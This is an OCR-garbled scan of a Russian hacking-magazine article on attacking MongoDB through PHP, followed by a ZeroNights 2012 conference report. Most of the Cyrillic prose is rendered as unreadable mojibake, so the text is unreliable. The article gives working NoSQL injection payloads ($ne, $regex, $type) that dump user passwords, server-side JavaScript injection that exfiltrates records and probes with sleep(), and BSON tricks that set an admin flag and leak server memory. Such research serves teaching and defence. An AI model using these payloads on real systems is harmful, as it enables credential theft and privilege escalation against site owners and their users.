"_id" : ObjectId("4fda5559e5afdc4e22000000"),
"name" "admin",
"password" "pa77word"

):

B cunTakcuce PHP 310 byneT BbirnageTs Tak:

$q = array("name" => "admin", "password" =>
array("\$ne" => "1"));

[ns akcnnyaTauuu foctaToyHo byneT 06bABUTL CTPOKOBYIO Nepe-
MeHHYlo password Kak MaccuB criefyoLmuM obpasom:

?login=admin&password[$ne]=1

PesynsTaToM byaeT BbIBOA AaHHbIX agMuHa (true). Pewernem sToi
npobneMbl MoXeT bbiTb MCMoNb30BaHNe dyHKLMN is_array() v npuse-
LeHVe BXOAALWMX apryMeHToB K Tuny string.

ManeHbKoe fomosiHeHe K TaknM dyHKLMaM, kak findOne()

u find(), — B HUX MOXKHO M HYXXHO UCMOJIL30BATL PETYNAPHBIE BbIPaXKe-
Hua. [Lnq 3Toro cylwecTsyeT Takas 3aMeyaTesibHas WTyKa, kak $regex.
Mpumep ncnonb3oBaHus:

db.items.find({name: {$regex: "~y"}})
Takoli 3anpoc HaiaeT BCe 3annCy, B KOTOPbIX NAMe HaYMHAETCS C «y».

MpeAnonoXnM, 4To B CKPUNTE UCNOSb3YeTCH NPUMEPHO TaKoi 3a-
npoc k BJ;:
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$cursorl = $collection->find(array("login" => $user, «
"pass" => $pass));

[ocne yero nonyyeHHble n3 B[] paHHble oTobpaxatoTcsa Ha CTpaHuU-
LIe C NOMOLLbI0 CNeAYIOLLEe KOHCTPYKLMK:

echo 'id: '. $obj2['id'] .'<br>login: '. «
$obj2[ 'login'] .'<br>pass: '. $obj2['pass'] . '<br>';

[Mpyu NoMoLLW peryaspku Mbl MOXEM NONYYUTb BCe AaHHble n3 B,
[J151 3TOr0 ,OCTaTOYHO AIWLLb HEMHOTO NOWUrpaTh C TUNAaMW nepefasae-
MbIX CKPUMTY NEPEMEHHbIX:

?login[$regex]="&password[$regex]="
Ha yTo nonyyum B oTBeT:

id: 1

login: Admin

pass: parol

id: 4

login: user2

pass: godloveman

id: 5

login: user3

pass: fuckthepolice=

Bce ycnewHo pabotaert. CywiecTeyeT ele 0f1H HEMI0X0N cnocob
3KcnnyaTauum nofobHbix bpelueil — cnonb3oBaHne onepaTopa
$type:

?login[$not][$type]=1&password[$not][$type]=1
BbiBog B 3TOM Ccriyyae bygeT TakuM:

login: Admin

pass: parol

id: 4

login: user2

pass: godloveman
id: 5

login: user3

pass: fuckthepolice

Takue dokychl ycnewwHo pabotatoT u B dyHKkumu find(], u B dyHkuyum
findOnel).

BHELPEHME B SSJS-3ATPOCHI

BTopo# Tn ysa3BuMocTyM B peanu3saumu ceazku MongoDB u PHP
0CHOBaH Ha BO3MOXHOCTU BHe[pUTb CBOM AaHHble B SSJS-3anpoc,
NPOXOASLLMIA K CepBepy.

1) Send “<script>" with our javascript code » -¢

7) Send answer to our sniffer

8] Print
result of
executed
command

2] Inject
i°n"r'¢§§'r"" 6) Our command

I tarface gets executed

5) Wait until ad-
min's browser
check our
server for the
new commands
(via JSONP)

! Hﬁ

3) Exec our is-code
inadmin’s browser

Puc. 2. Cxema aTaku
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B3JIOM

MpeAnonoXuM, y Hac ecTb YI3BUMbI KOZ, KOTOPbIY BbINOHAET
3anuch Nosib30BaTeNbCKUX AaHHbIX B B[], a nocne, B xoge paboThl, nx
OTTYAa BbIBOAWT, NPUYEM He BCe, a TOSIbKO 3HaYEHNSA 13 onpefeNeHHbIX
nonen. MycTb 310 ByfeT npocTeillas rocteBas KHUra.

MpoAeMOHCTpMpYto 3T0 Ha NpuMepe Kofa. MpeAnonoxuM,
yto INSERT-3anpoc BbIrnsgnT ciefyowmm obpasom:

$g = "function() { var loginn = '$login’; «
var passs = '$pass’'; db.members.insert({id : 2, <
login : loginn, pass : passs}); }";

0gHo HemanoBaxHoe ycnosue — nepemenHble $pass v $login be-
pyTcs Hanpsmylo n3 Maccusa $_GET u Hukak He dpunbTpyloTca (na-aa,
3T0 ABHbIA Gein, Ho BCTPeYaeTCs OH CNIOWb U PAfOM):

$login = $_GET['login'];
$pass = $_GET['password'];

[lanee npuBeLeH Ko, KOTOPbIA UCMONHSET aHHbI 3aNpoC U BbIBO-
OUT faHHble n3 bJ:

$db->execute($q);
$cursorl = $collection->find(array("id" => 2));
foreach($cursorl as $obj2){

echo "Your login:".$obj2[ 'login'];
echo "<br>Your password:".$obj2[ 'pass'];

TecToBbI CKPUNT rOTOB — NePEXoAnM K npakTuke. OTnpasnsem
TeCTOBble JaHHble:
?login=user&password=password
B oTBeT Mbl NolyynM cnepytolne faHHble:

Your login:user
Your password:password

ﬂ,aBaI;l I'IOI'IpOﬁyeM IKCNJyaTnpoBaTh yA3BUMOCTb, KOTOPad 3aKto-
YaeTcq B TOM, 4TO LaHHbIe, KOTOPbIE NOYT B NapaMeTp, He ¢VIJ'Ipryl0TCFI
W HUKaK He NpoBepAtTCS. HayHeM ¢ NPOCTOro — C KaBbl4KK:

?login=user&password=";

Hawm oTobpasunacs gpyras ctpanuya, u SSJS-kop 13-3a ownbKkm
He ncnonHuacs. Ho coBceM gpyras cutyaums bypet, ecnv nocnaTb BoT
Takue faHHble:
/?login=user&password=1'; var a = '1

OTnnyHo. Ho kak Tenepb nonyynTb BIBOA? Bee o4eHb npocTo: go-
CTaToOYHO NepesanucaTtb NepeMeHHyto, Hanpumep login, n Torga B B/
nonafeT pe3ynbTaT UCMOJIHEHUS HaLlero Kofia v B 0TBETE MOXHO OyaeT

yBuzAeTb BbiBoA! Ha npakTuke (puc. 4) 310 BbIrNAAUT Tak:

?login=user&password=1"'; var loginn = db.version(); «
var b='

Y706bI 6610 NOHATHEE — JS-KOJ NPUHMMAET CNeAy LN BUS:
$q = "function() { var loginn = user; var passs = «
'1'; var loginn = db.version(); var b=''; db.members.«
insert({id : 2, login : loginn, pass : passs}); }"

[TepBoe, Yero Mbl XOTUM, — 3TO MPOYMTaTb CTOPOHHME 3aNNUCK.

ﬂ,enaeM 3TO NpW NOMOLLM NPOCTOro 3anpoca:
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Puc. 4. Pe3ynbTaT uHBbeKUMM SSIS-Koaa

/?login=user&password= '; var loginn = tojson«
(db.members.find()[0]); var b='2

[ns nyywero noHWMaHWs paccMOTPXM 3TOT 3aNpocC NO4 MUKPOCKOMOM:

1. Wcnonb3yeTcs yxe 3HaKoMas KOHCTPYKLUS 415 Nepe3anucu nepe-
MEHHOW 1 UCMOSTHEHMS TPOMU3BOJIBHOMO KOAA.

2. CrnoMouibto dyHKLMM tojson() Mbl moy4aeM MOSHOLEHHbI 0TBET
13 B[]. Ecnivt bbl Mbl He MCMOMIb30BaV €€, TO B OTBET MOJYYMIIM bl
Array.

3. CamasrnaBHas yacTb—3To Bbi3oB db.members.find()[0]. 3gecb
members—s3ToTabnuua, afind() — dyHkuna, KoTopas BLIBOAUT
BCe 3anucu. HakoHeLl, MaccuB B KoHLe 0b03HayaeT HoMep 3anucu,
K KOTOPO Mbl 06paLyaemMcs, — BOT Kak pa3 c oMol bio nepebopa
3HayeHu B 3TOM MaccuBe Mbl moslyyaeM 3anucuns b/.

KoHeuHo e, BO3MOXHa CUTyaLWs, KOrAa BblBOJ OTCYTCTBYET, U,
4TObbI NONYYUTH AaHHbIE, NPUAETCH UCMONb30BaTh TeXHMKY Time-
Based, koTopasi ocHoBaHa Ha 3ajiepXKax cepBepa B 0TBeTax Ha 3a-
npoc, B 3aBUCUMOCTH OT BbINOSIHEHUS KaKoro-nunbo ycnosus (true/
false). Mpuseny npumep:

?login=user&password="; if (db.version() > "2") { «
sleep(10000); exit; } var loginn =1; var b='2

C noMolblo aToro 3anpoca Mbl y3HaeM Bepcuto Bl Ecnu oHa bonbuie
2 (Hanpumep, 2.0.4), To BBINOMHMTCS HaL KOA W CEPBEP BepHET OTBET
Ha Hall 3anpoc C 3aMeTHON 3aepPXKKOMN.

B ocTanbHbIX A3bIkax NpOrpaMMUpoBaHus Bce 06CTOUT NpUMepHoO
TakuM xe 0bpa3oM. To eCTb €CU Mbl UMEEM BO3MOXHOCTb NepeaaThb
B 3aMpoC MaccuB, TO Mbl ¢ nerkocTblo cMoxeM nposecT NoSQL-
WHBEKLWIO, 0CHOBAHHYIO Ha IOTUKE AW PETYNAPHBIX BbIPaXEHUSX.

CMOTPUM TPAOGKK

Kak n3sectHo, B MongoDB MoxHO co3aTb KOHKPETHOr0 N0/1b30Ba-
Tens ans onpepenexnHont bll, 4to HeyanBnTeNbHO. MHPopMaLums o cy-
wecTByowmx B B[l nonb3osatensx xpauutca B Tabnauue db.system.
users (puc. 5). Hanbonblumil MHTepec Ans Hac NpeAcTaBAAIoOT Nons
user 1 pwd ynomsHyToW Tabnuubl. B KonoHke user — f0ruH nosb3o-
BaTens, a B pwd — MD5-cTpoka %login%:mongo:%password%, roe
login n password — 3To JIOFWH W XeLL-CyMMa JI0rVHa, KJl4a 1 napons
nonb3oBaTens.

Bce aaHHble (puc. 6) nepepaloTcs B 0TKPLITOM BUAE, U, NEpexBaTuB
nakeT, He COCTaBWT TPyAa U3BNeYb OTTyAa ONnpefesieHHble AaHHble,
KOTOpble He0bXOAMMBI AN MONTYyYeHNS UMEHW W Napois Nosb30BaTens.
[nsi aToro HyxxHo nepexsaTuTb nonce, login u key, KoTopble 0TNpaBs-
nseT KAWeHT Npy aBTopM3auun Ha cepBepe MongoDB. B key y Hac
cofnepxutcs MD5-cTpoka cnepytouero Buga: «%nonce% + %login% +
md5(%login% + ":mongo:" + %passwod%])».

XAKEP 01/168/2013



Ynap no MongoDB

Adding usar:

Puc. 5. Co3panune nonbsosatens B B[}

Kak BUAHO, BMOJIHE NIerko HanucaTb NporpaMmy, kotopas 6yneT aB-
TOMaTWYeCKW NepexsaTbiBaTh M MOAOUPATL JIOTVH M Naposib Ha OCHOBE
nepexBayeHHbIX JaHHbIX. Kak nepexBaTuTb AaHHble — Ha4yHM KONaTb
B cTOpoHY Toro xe ARP Spoofing.

YA3BUMOCTW MPW OBPABOTKE BSON

He bypem ocTaHaBAMBATLCSA Ha LOCTUTHYTOM M PacCMOTPUM Lpyroii
TWN ySI3BUMOCTEN, KOTOPbI OCHOBLIBAETCS HA HEMPABUbHOM NapCUH-
re BSON-o6bekTa, nepefasaeMoro B 3anpoce k b[.

[ns Hayana napy cnos o ToM, YTo npefcTaBnaseT cobon BSON.
BSON (Binary JavaScript Object Notation] — 370 koMnbloTepHbI#
bopmMaT 06MeHa faHHbIMUW, KOTOPbIA NO3BOASET XpPaHUTbL B Tabnunue
AaHHble paznuyHbix Tunos (Bool, int, string v Tak ganee). Mpeano-
JIOKUM, 4TO MMeeTCs KoneKuus (npowe rosops, Tabnuual ¢ geyms
3anncaMu:

> db.test.find({})

{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"),
"name" : "admin", "isadmin" : true }

{ " id" : ObjectId("5@44ebc3a91bB2e9a9bo65e1"),
"name" : "noadmin", "isadmin" : false }

M nMeeTcqa 3anpoc K Bﬂ, B KOTOprl?I Mbl MOXKEM BHEAPUTBHCA:

>db.test.insert({ "name" : "noadmin2",
"isadmin" : false})

MpocTo BCcTaBAseM cneLnanbHo chopmmpoBaHHblil BSON-ob6bekT
B M$ KOJIOHKW name:

>db.test.insert({ "name\x16\x00\x08isadmin\x00\x01\x00\~
Xx00\x00\x00\x00" : "noadmin2", "isadmin" : false})

Kak BUAMLb, MOCTaBUB Nepef 3Ha4yeHneM KonoHKM isadmin bant
0x08, Mbl ykazanu, 4to Tun fobaBnseMbix HaMn AaHHbIx — boolen,
n cnepyownm 6antom — 0x01 — Mbl npucBOMAN 3HaYeHWe 06beKTy
Kak true, TeM caMbiM Nepe3anucaB 3HadeHue false, koTopoe ycTaHaB-
nBaeTcs no yMmonyaHuto. Bcs conb 3meck cocToUT B Urpe ¢ TMNamm
nepeMeHHbIX. [ToMrpaB ¢ HUMKU, MOXKHO NOJTHOCTbIO NepesanucaTb
LaHHble, KOTOpble MOACTABAAIOTCS K 3aNpocy aBTOMaTUYeCKU.
M Tenepb NocMOTpUM, 4TO y Hac okasanock B Tabnuue:

> db.test.find({})

{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"),
"name" : "admin", "isadmin" : true }

{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"),
"name" : "noadmin", "isadmin" : false }

{ "_id" : ObjectId("5044ebf6a91b02e9a9bo65e3"),
"name" : null, "isadmin" : true, "isadmin" : true }
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Puc. 6. [epexBaTbiBaeM aBTOPU3aLMOHHbIE AAHHbIE

MepeMmeHHas false ycnewHo nepesanucanacs s true (puc. 7)!

PaccmoTpum ysizBuMocTb B napcepe BSON, koTopasi no3sonset
4MTaTh NPOW3BOJIbHbIE YHACTKM NaMATy. M13-3a HenpaBubHO 06-
paboTkn pnvHel BSON-fo0KyMeHTa B UMeHM KOJTOHKM B KOMaHfe insert,
B MongoDB MoxHo BcTaBuTb 3anuck, koTopas byaeT conepxaTs B cebe
3aKOANpOBaHHble B basebs4 yyacTku namsaTn cepsepa B/Jl. He oTcTynas
0T TPAAMLLMY, cpa3y nonpobyeM 3T0 Ha MPaKTUKe.

MpeanonoxuMm, y Hac ecTb Tabnuua c MeHeM dropme 1y Hac ecTb
npasa Ha 3anucb B Hee. OTNpaBAsieM clefyloLLyto KOMaHAY U BUAUM
pesynesTart:

> db.dropme.insert({"\x16\x00\x00\x00\x05hello\x00\x010\~
x00\x00\x00world\x00\x00" : "world"})

> db.dropme.find()

{ "_id" : ObjectId("50857a4663944834b98eb4cc"),

"" i null,

"hello" : BinData(®,"d29ybGQAAAAACREAAAAQ/4wISCCPCeyF«—
JOKRAAAAAAAAAAAAWD cQAAAAMQAAAAEAAABGCc TCAAAAACAAACEK OO
JABW5NAMAAAAAAAAAAAAAAMQ3jAIMAGKAQQAAAETIAaQBUAEQAYQBOAG—
EAKAAXADEAOQASACIAYgAzAEoAcwBaAEEAQQBBAEEAQQBBADOAIGApA—
AAAdABSAFEAAAAiIAGEAZQBsAGWAbwAiIACAAOgAgAEIAaQBUAEQAYQBO—
AGEAKAAXADEAOQASAC . v vttt v v it iiiiennnnnennnnns ACKALAAgGACT
AFg==") }

Bce 310 Npon3oLwno 3-3a T0ro, Y4T0 Mbl HEMPaBULHO MOCTPOUN
06bekT BSON — ykasanu, yto ero gnvHa 0x010 BmecTo 0x01.
Mocne pacwndposku basebs-kofa Mbl nonyymm 6aiTbl paHAOMHbIX
y4acTKOB NaMaTH cepsepa.

3AKJIOYEHWE

Bynb yBepeH, Bbile Bbinn 0NucaHbl aTakn 1 y3BUMOCTH, KOTOPbIe
BMOJIHE MOTYT BCTPETUTHLCSA U B peasbHo Xn3HU. [IpoBepeHo Ha cob-
cTBEHHOM onbiTe. CTOMT nobecnokonTbes He ToNbKo 0 be3onacHoMm
HanucaHuu Kofa, KoTopblii pabotaet c MongoDB, Ho ele 1 06 ysa3BU-
MOCTSIX, KOTOPble MOTYT NpucyTcTBOBaTH B caMoii CYB[]. PaccmoTpes
nofpobHO KaXAbli U3 OMUCaHHbIX CAyyaeBs, clefyeT 3aaymMaTbes, Tak
nv 6e3onacHbl NoSQL 6a3bl faHHbIX, Kak 3T0 MPUHATO ceiyac cynTaThb,
nnu 3to Mnd? Stay tuned! 3

Soma table with 2 documents:

Qur quary to database:

Injecling BSON d .
Teating:

Puc. 7. Magic BSON
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B3JIOM

Episode 0x02 -

Elle HecKoNbKO NeT Ha3a MOXHO OblI0 UL b 3aBUA0BAThL TEM
CYaCTAMBYMKAM, KOTOPbLIM yAaeTcs KonecuTb no Bcsikum BlackHat'am
n Defcon'am 1 MMeTb BO3MOXHOCTb 06LaThCs C BEAYLLNMM
pecepyepamu B obnactu VIb. U yx Tem bonee HeBO3MOXHO bbINIO
LaxKe nNpencTaBuTb, 4To B Poccum byayT npoxoanTb KOHGEepeHL MK
TaKOro ypoBHS, 4TO NporpamMMe A0KJ1afoB U COCTaBY CMUKEPOB MO
bbl N03aBMAOBaATL CaMble aBTOPUTETHbIE MEXAYHapOoAHble KOHObI. Ho
B 3TOM Mor y6eauTbcs Kaxablin, kTo nobeisan Ha ZeroNights 2012.
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[PYITOE MECTO BCTPEYM
lMpofomkeHns KoHdepeHLm, KoTopas cTapToBasa
B [TuTepe B npowwioM rogy, xaanu sce. Eule 3a-
[onro fio ee cTapTa bbino n3sectHo, Yto ZeroNights
B 3TOT pa3 npomnget B MockBe, YTo BbI3BaNO He-
MaJlo CnopoB, B TOM YuC/le CPeAi OpPraHn3aTopos.

C ofHoM cTOpOHBI, A06paThCs 40 NepBOMNPECTONbHON
BOMbLWIMHCTBY Y4aCTHMKOB AEVCTBUTENBHO NpOLLe
(£a 1 3HauNTENbHAs YaCTb y4acTHMKOB — 13 Mo-
ckBbl). OBHaKo MHOTUX, KaK W Hac, rpena uaes
©XerofHo ycTpamsatb cebe HebonbLloe nyTeLle-
cteue Ha ZN B ceBepHyto cTonnLy. [ToM1MO CMeHbl
ropofia npoegeHus, ZeroNights B aToM rogy nmena
[pyroe BaXkHoe oTAn4Me: KoHpepeHLMs Npoxoamnna
He B OfIMH AeHb, a B aBa! [1Ba AHS 6eckoHeYHoro
obLLeHns 1 [okNaLoB Ha Ntobol BKYC, KOTopble

WK B ABe NapasnesbHble ceccum (M 310 He cyuTas
BOpKLIONoB!).

YBUOETb BCEX

Cka3zatb no npasae, nonacTtb B 3aj1 yaanocb
He cpa3sy. Ha Bxope Mbl BCTPETUIN CTOJIbKO 3HaKO-
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ZeroNights 2012

MbIX JIOAEN, C KOTOPLIMU XOTENI0Ch N00bLaThCS,
4TO MPULLIIOCh NMOXEPTBOBATb AAXe UHTEPECHEN-
wuM keynote'om (Hnyero, BbicTynnenve The Grugg,
KoTopblit oTKpbiBan ZeroNights, MOXHO HalTu
Ha YouTube). Tycoska Nniofieit, 3aHnMaloLMXCs
npakTU4eckon 6e30MacHoOCTbIO, LOBOJBLHO HebOoMb-
Las, v B 3ToM BCerfaa ybexaaellbest Ha Mof00HbIX
MeponpusTusx. Ho B 3ToT pa3 bb110 1 HeMano
HOBbIX IOieN. HekoTopble He TONIbKO C MHTepecoM
CnyLanu xapAKopHble JOKAaAbl, HO 1 YMYAPAAUCH
yMesio MoTposINTL BbIBasbIX CNIMKEPOSB :).
HecMoTpsi Ha nnaTtHoe yyacTve, Hapoga bbino fo-
BOJIbHO MHOr0. B HeKkoTopblie 3asbl, 0cobeHHO Mo Mo-
nynsipHbIM workshop'aM, bb110 He MPOTONKHYTLCS.
 paxe Ha nnowanke ana cBoboaHoro obuieHus, roe
bbin10 HeMano cTonos, Bcerfa bbio NoNHO Noaei,
KOTOpbIe 4TO-TO fleN1anu B CBOWX HoyTax. Kasanocs,
4TO y KaXaoro BToporo 6bin 3anyuieH Kismet :).
Mocne npocMoTpa crmcka XoTCMoTOB C SIBHO Ky4eit
JIEBbIX TOYEK [JOCTYMa W 06BSABIEHNSMY 0 MPOAaXe
0-day B SSID npuxofuno eaMHCTBEHHOE BEPHOE pe-
wenue: «OTkmounTs Wi-Fi oT rpexa noganbiuel :.

4YTO BblJ10?

MoMuMo fByX ceccui ¢ foknafamu, napasnnenabHo
LN UHTEepeCcHble BopKLuonbl. Jlewa CUHLOB Ha npo-
TSXKEHWW BCEro BTOPOro [{HS KOHMEPEHLMM NpoBo-
Aun BopkLon no paspabotke cnnontos ans Win7
(x32) — npuyeM nocne BeYepUHKN AN CIUKEPOB :).
Apcenuin Peytos, Tumyp HOHycos, OMuTpuint Harnbmx
NPOBENW OTJIMYHbIN BOPKLLOM MO UHCTPYMEHTaM

LS peanusalmny atak Ha reHepatopbl (unTail cTaTbio
B 5TOM HoMepe). Mcnonb3osaHue BeEF, ataku

Ha XML, 6esonacHocTb RFID, peBepcuHr baHKoBCKO-
ro TposiHa, 3atwmTta ot DDoS — Kaxablit Mor HanTu
BOPKLLOM Mo AyLue.

B 3aBepLueHne nepBoro AHs BCe U3PSAHO Mo-
BeCeNnnCh Bo BpeMs Kpyrnoro ctona «Security
Researchers vs. Developers», rie HebesbizgecT-
Hbiit Bobuk (aupekTop no pacnpoctpaHexmto
TexHonorui B AHaekce n seaywmii Radio-T) Tpon-
nun pecepyepos u3 ViaForensics, Nokia, Yandex
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1 Google, 4to br3Hecy oHw, Mo NpaBfae roBops,
He HY)XKHbl B 0T/IN4Me OT pa3paboTynKoB, KoTopble
CO34al0T NPOAYKT, MPUHOCSLLWIA fieHbrv. B utore
noayuunach boapast AMCKyccus, Kotopas Ham fo-
CTaBWIa HeMasno y40BONLCTBUSA.

FASTTRACK M KBECTHI

Ceccws FastTrack'a ¢ kopoTkuMM, 15-MUHYTHBIMM
BbICTYNIEHMAMMN TPAAULIMOHHO NMPOLUNa Ha ypa:
BbICTPO MeHsoLLMECS, eMKUMe JOKNafbl Ha caMble
pa3Hble TeMbl — TyT He 3acky4aellb. Hanpu-

mep, AnekcaHap Mecnak (oH xe Solar Designer,
pazpabotunk John The Ripper) pacckasan o Tom,
Kak MOXHO YCIIOXHWUTb BbIYUCIIEHNE Xelua 3a cHeT
1CNo/b30BaHMA HONBLIOrO KONNYECTBa OnepaTUBKM
(moaxop «security through obesity»).

CaMo coboit, He oboLunock 6e3 KoHKYpCOB, bbin
B TOM ynce xak-keecT oT Nokia, 06beamHmBLLIniA
BUPTyasbHble Garv ¢ 3ajaHusaMun B peanbHoii
*U3HU. Jlewa CMHLOB Hanucan Npo Hero Takom
OTPOMHbI TEKCT, YTO Mbl He CMOT/I NOCTaBUTb ero
B 3TOM HOMepe — onyb/IuKyeM B CledyioLem.

RESPECT

Huxe Tebs XAeT onucaHne JokNafoB 1 ClI0BO
opraHusatopoB — pebat u3 Digital Security.
MapHu, Bbl fenaete bpunnvaHtosyto paboty!
OrpoMHbI/ pecrneKT 3a opraHu3alLnio NofobHbIX
WBEHTOB, 3a TO, 4To ABMraeTe 061acTb NpakTHUye-
cKoii besonacHocTu Briepes, MpUYeM He TOJIbKO
B Poccuu, Ho v Boobuie B Mupe. Mbl Bcerga pagbl
nopepxatb Bac.
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B3JIOM

CJ10BO OPTAHN3ATOPOB

0 cBOMX BneyaTieHMsX 1 NONpocun pac-
cKasaTb TeX Jilofieil, KoTopble co3faBany
ZeroNights, npaBpaa, y)Xxe HakaHyHe cfauun
HoMepa B neyvatb. Cawa lMonskos, ABHO HaMe-
Kasi, 4TO Mbl HEroAsin, NOCKONIbKY He CpoCunu
ero 06 3ToM Ha afterparty (Torpa u ymecTHee,
1 NpusiTHee), Bce XKe COrnacucs Hanmcatb
HeCKOJIbKO CNIoB :).

«Ypa! KoHdepeHLMs npoLuia, U Mbl C pago-
CTbiO FOTOBbI COOBLUMTL BaM: «3T0 ObINO KPYTO».
Ha camoM fene, Korga Mbl Aenanu KoHdepeHLnio
BO BTOPOI1 pa3, B HOBOM /i1 HAC ropofe, C ABYX-
[lHEBHOW MacCUBHOW NPOrpamMMoi U HOBbIMU
napTHepaMu, — 3TO C CaMOro Hayana okasasnocb
HenpocToi 3afaveit. He byny nepeuncnsts Bce
TOHKOCTY M TPYAHOCTK, HO, K CHACTbIO, Y Hac 3T0
NONYYNNOCh, 1 06BEKTUBHO NyyLle, YeM B Npo-
LUIOM rofy, XOTS, K COXaneHuo, UCNPaBuMB AsMbl
npefplAyLLero roaa, Mol 06aBMAM HeMHOro
HOBBbIX.

Bce Halue BHMMaHKe bblno cocpefoToueHo
Ha nporpaMMe, KOTopyto X0Tesloch CAenaTb
MaKCMMasibHO TeXHUYeCKOM: He TONbKO 4Tobbl
He BbIf10 06LMX JOKNAA0B, HO U 4YToDbI BCe
BblAN NpefieNbHO XapAKOPHBIMI AN XOTS bl
packpblBanu Kakyto-To HoBylo TeMy B 1B, o
KOTOpOW NMbo bbiNo KpaiHe Mano nHdopMaumn
unu ee He bbino BoBce. C 3ToW YacTblo, MHE
KaXKeTcs, Mbl CMPaBUAKCH Ha ypa, W 3a 3TO HAf0
nobnarogapuTb NPoOrpaMMHbIil KOMUTET, XKECTOKO
oTHbpacbIBaloLWMIA BCE, Y4TO Ka3anoChb HEMOAXOAS -
WM. KoHeuHo Xe, napa AoKnazfoB U3 bonee yeM
COPOKa, ec/In C4YUTaTb BCE BUAbI BbICTYMIEHN,
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BCe Xe He J0TArMBau no ypoBHio, HO BCE PaBHO
3TO KpaliHe KpyTol pe3ynbTaT. Ckaxy no ceoemy
OMbITY: NOCNeAHNe KOHdEepeHLMm, KoTopblie
HenasHo nocewan B EBpone, aaii bor gaBanv Ha
BbIXOZle 2—3 MHTEPECHbIX JoKNafa — TOrfa Kak y
Hac paxke Ha Fast Track 6biau U3LOMUHKM.

OTpenbHoe cnacunbo, KOHEYHO XKe, Xo4eTcs
CKa3aTb CMOHCOPaM W NapTHepaMm, Ho camoe
rnaBHoe cnacvmbo — y4acTHMKaM 3a To, 4To
MOBEPWSIN U MOAJEPXKANMN HAC B 3TOM HEJIErKoM
Lene, B pe3ysibTate Yero KoHpepeHuns noytm
oKynunack. B cnepytolieM rogy Mol caenaem
BCE BO3MOXHOE, YTOObI HE OMYCTUTbL BbICOKYIO
NnaHKy BoKNafoB 1 bonblue BHUMAHUSA yAENUTb
HedopManbHOIM YacTn n atMocdepe. XoTs 1 B
3T0T pa3 HedopMasbHble TYCOBKM — BEYEPUHKM
cnvKepoB nog Avaxes us Phenoelit, ogHo-
BPEMEHHO SIBASIIOLLLErOCS W CMIMKEPOM, a Takxe
afterparty nocne KoHpepeHUMn — bbinK Knacc-
HbIMW ¥ MO3BOJIUAIN HAKOHEL-TO NoobLyaThes
C Ky4yeln Hapopy, Yero Ha camMoi KoHdepeHLum
cflenatb Tak U He yaanoch.

Mbl cunTaeM cBoe MuUccHel noolypeHve
NPaKTUYeCKUX UCCNeA0BaHNI 3aLLMLLEHHOCTH
TEXHOJOMM, HE3PUMO NPUCYTCTBYHOLLMX B XKU3HU
KaX[Joro 4enoBeKa, a Takxe LUMPOKOe pacnpo-
CTpaHeHue MHGOPMaLMKU 0 TEXHONOTUSX B3OMa
1 3aLLMTbl M BOCMWTaHME HOBOMO MOKOJSIEHNS
CMeunanucToB, cnocobHbIX MOAHATL peanbHyo
6€30MacHOCTb POCCUNCKMX TEXHOOTUYECKMX
CUCTEM Ha HOBBbI ypoBeHb, YTobbl Poccus Bbina
13BECTHA HE KNDEMNpecTynHUKamMu, a KpyTbiMu
nccnenoBaTensaMm».

NIOKJIALIB|

«ATAKM SSRF U COKETbI: LUIBEACKWUM CTON
YA3BUMOCTEM» OgHa v3 Hanbonee TPEeHAO0BbIX
TeM CErofiH — ysi3BUMOCTY CepBEPHOI NOAAENKM
3anpoca (Server Side Request Forgery — SSRF),

1 ee MacTepcku npepcTasunm Bnagumup BopoHuos,
AnekcaHgp [010BKo, NoKa3aB HECKOMbKO BreyaT-
NSIOLLWX TEXHUK A5 MPOBELIEHNS aTaK B peasibHblX
Beb-NpuNoXeHusX.

«YOAP M0 MONGODB» NoSQL 6a3bl iaHHbIX CTa-
HOBSITCS 04€BUAHbIM TPEHLOM: OHW UCMONb3YHOTCS

B 1l06OM BbICOKOHarpyxxeHHoM npoekTte. 1 MongoDB
B 37OV 00/1aCTV ABASETCS OOHUM M3 besanennsum-
OHHbIX TMAepoB. Muxann @upcToB HakoBbIpsN 6arm
B CYB/I, pacckasan o Hux Ha ZN v Tenepb Hamnu-

can MaTepwan 4ns Hac (YnTai ero cTatbio B 3T0M
HoMepe).

«B MUPE BE3rPAHMYHbIX BO3MOXXHOCTEW

1 CTAN BAH7BKKIDHVZZXJFAWQGOGZFVGKG»
[loknapoB no besonacHocTy npunoxeHuii Ha Ruby
on Rails noka HeMHoro, NosToMy nocnyLwatb
joernchen u3 Phenoelit 6bi110 BecbMa NtobonbITHO.
[loknagumk pacckasan npo TMMNYHble HELOCTaTKM

B CUCTEMaX ayTeHTUbUKALIMU 1 peanu3aunm, caenas
3KCMPEeCC-3KCKYPC BO BHYTPEHHIOK KyXHIO MpUoXKe-
HWh Ha RoR.

«BOT 3A YTO A JIIOBJ1H0 B3JIOMbI XML!» KaxeTcs,
Nicolas Gregoire 3acTaBun Bcex nontobuTs B3/10M
XML, paccka3aB HeMano NpakTU4YecKn NpUMeHUMBbIX
TexXHWK, npuBopswmx ataky go RCE uepes SQL.

«0 ®A33UHTE NOAPOBHO U CO BKYCOM>
Noknagunkn ns GuHnaHamm — Atte Kettunen,
Miaubiz — oueHb 3axuraTenbHO pacckasany o ToM,
Kak oHu obycTpanBanu npouecc ¢passutra Firefox

1 Chrome. Becb foknag — Habop roToBbIX peLenToB
L5 oTCNexunBaHus cboeB 1 nomcka ys3BrMocTen.
«YAI3BUMOCTU NOACYETA CCbIJI0K B A1PE
WINDOWS: MPAKTUYECKUIN AHAJIU3» 3a kopoT-
Koe BpeMsi foknaga Mateusz «j00ru» Jurczyk cymen
NPUBECTU aHanu3 HobLIOro KONYeCcTBa BEKTOPOB
aTakuW Ha CYETHYMKM CCbINoK B sfpe. [1pu 3ToM B Kax-
[IOM CJlyyae aBToOp pacckasblBall, Kak n3bexatb
nofobHbix use-after-free yassumocTeii.

«THE ART OF BINARY DIFFING OR HOW TO FIND
0-DAYZ FOR FREE» Kak pa3pabotatb cnnount

[151 ySI3BUMOCTY, €CNIN B PacropshKeHWn ecTb naty,
KoTopbIi ee ucrnpasnsier? O cekpeTax Takoro Nogxo-
Ja pacckasan Hukuta TapakaHos (croiinep: odeHb
CKOpO Y Hac ByaeT MaTepuas Ha 3Ty Temy).
«UCTOPUA O HECYLLIECTBYIOLLMX YSAI3BUMO-
CTAX HYJIEBOIO AHA, CTABUJIbHbIX 3KC-
NNOUTAX ANS BUHAPHbIX MPUSTOXXEHWUH

M NO0JIb30BATEJIbCKOM UHTEPAKTUBE» 3ToT
